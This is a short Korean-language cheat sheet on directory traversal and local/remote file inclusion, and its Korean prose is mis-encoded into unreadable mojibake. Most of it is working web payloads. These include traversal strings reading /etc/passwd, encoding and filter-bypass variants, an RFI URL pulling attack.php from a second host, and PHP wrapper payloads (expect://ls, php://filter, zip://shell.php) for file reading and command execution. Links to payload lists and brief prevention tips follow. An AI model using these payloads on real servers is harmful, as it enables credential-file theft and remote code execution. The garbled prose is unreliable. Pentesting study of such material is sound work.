Directory traversal
๐ What is Directory traversal?
Directory traversal(also known as file path traversal)์ ๊ณต๊ฒฉ์๊ฐ ์์ฉ ํ๋ก๊ทธ๋จ์ ์คํํ๋ ์๋ฒ์์ ์์์ ํ์ผ์ ์ฝ์ ์ ์๋๋ก ํ๋ ์ทจ์ฝ์ ์ ๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ์ฝ๋ ๋ฐ ๋ฐ์ดํฐ, ๋ฐฑ์๋ ์์คํ ์ ๋ํ ์๊ฒฉ ์ฆ๋ช , ๋ฏผ๊ฐํ ์ด์ ์ฒด์ ํ์ผ์ด ํฌํจ๋ ์ ์์ผ๋ฉฐ ๊ฒฝ์ฐ์ ๋ฐ๋ผ ๊ณต๊ฒฉ์๊ฐ ์๋ฒ์ ์์ ํ์ผ์ ์ธ ์ ์์ด ์์ฉ ํ๋ก๊ทธ๋จ ๋ฐ์ดํฐ๋ ๋์์ ์์ ํ๊ณ ์๋ฒ๋ฅผ ์ ์ดํ ์ ์์ต๋๋ค.
๐ What is difference beetween Directory traversal and LFI, RFI?
LFI(Local File Inclusion), RFI(Remote File Inclusion) ์ Directory traversal์ ๊ฐ์ฅ ํฐ ์ฐจ์ด์ ์ ํ์ผ์ ์คํ
์ํฌ ์ ์๋์ ์ฐจ์ด์
๋๋ค.
๊ฒฝ๋ก ํ์ ๊ฐ์ ๊ฒฝ์ฐ๋ ๋จ์ํ๊ฒ ํ์ผ์ ์ฝ๊ธฐ๋งํ์ง๋ง LFI,RFI๋ ํ์ผ์ ์ฝ๊ณ ์คํ์ํฌ ์ ์์ต๋๋ค.
# LFI
http://192.168.100.10/bWAPP/file.php?language=l../../../../../../etc/passwd&action=go
# RFI
http://192.168.100.10/bWAPP/file.php?language=http://192.168.5.6/attack.php
File path traversal, traversal sequences stripped non-recursively
์๋ฒ์์ path๊ตฌ๋ฌธ(../)์ ์ ๊ฑฐํ ๊ฒฝ์ฐ ์ฌ์ฉํ ์ ์๋ ๋ฐฉ๋ฒ์ ๋๋ค.
....//....//....//etc/passwd
๐ฅ Cheat sheet
-
Basic exploitatin
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
-
16 bits Unicode encoding
. = %u002e
/ = %u2215
\ = %u2216
-
UTF-8 Unicode encoding
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
-
Bypass "../"
//Bypass "../" replaced by ""
..././
...\.\
//Bypass "../" with ";"
..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
-
Double URL encoding
. = %252e
/ = %252f
\ = %255c
-
LFI PHP wrapper
# expect:// (System command ์คํ)
www.useegod/index.php?page=expect://ls
# php://filter (encode/decode ์ต์
์ ์ฌ์ฉํ์ฌ ์๋ฒ ๋ด๋ถ ํ์ผ ์ด๋)
www.useegod/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
# zip:// (ํ์ผ์ ์์ถ์ ํ๊ณ ํ์ผ์์ ์๋ ์ฝ๋ ์คํ)
www.useegod/index.php?page=zip://file.zip#shell.php
-
Linux LFI-RFI list
https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-linux-list.txt
https://github.com/hussein98d/LFI-files/blob/master/list.txt -
Windows LFI-RFI list
https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-windows-list.txt
๐ How to Prevent ?
- ์ฌ์ฉ์๋ก๋ถํฐ ์ ๋ ฅ ๋ฐ์ ๋๋ ํฐ๋ฆฌ์ ํ์ผ๋ช ์ ๋ํ ์ ๋ ฅ ๊ฐ ํํฐ๋ง ์ ์ฉ (๊ณต๋ฐฑ์ผ๋ก ์นํ ์ ์ฐํ๊ธฐ๋ฒ์ด ์กด์ฌํ๋ฏ๋ก ๋ค๋ฅธ ๋ฌธ์์ด ๋ฑ์ผ๋ก ์นํ์ ๊ถ๊ณ )
ํํฐ ๋ฌธ์์ด
../ ./ /. ..\ .\ % ; %00 %2F ๋ฑ
- ๋ค์ด๋ก๋ ํ์ผ๋ช ์ DB์ ์ ์ฅํ๊ณ ๋ค์ด๋ก๋ ์ ์์ฒญ ํ์ผ๋ช ๊ณผ ๋น๊ตํ์ฌ ์ ์ ํ์ง ํ์ธ
- ๋ค์ด๋ก๋๋ฅผ ์ ๊ณตํ๋ ํ์ด์ง์ ์ ํจ ์ธ์ ์ฒดํฌ ๋ก์ง ํ์ ์ ์ฉ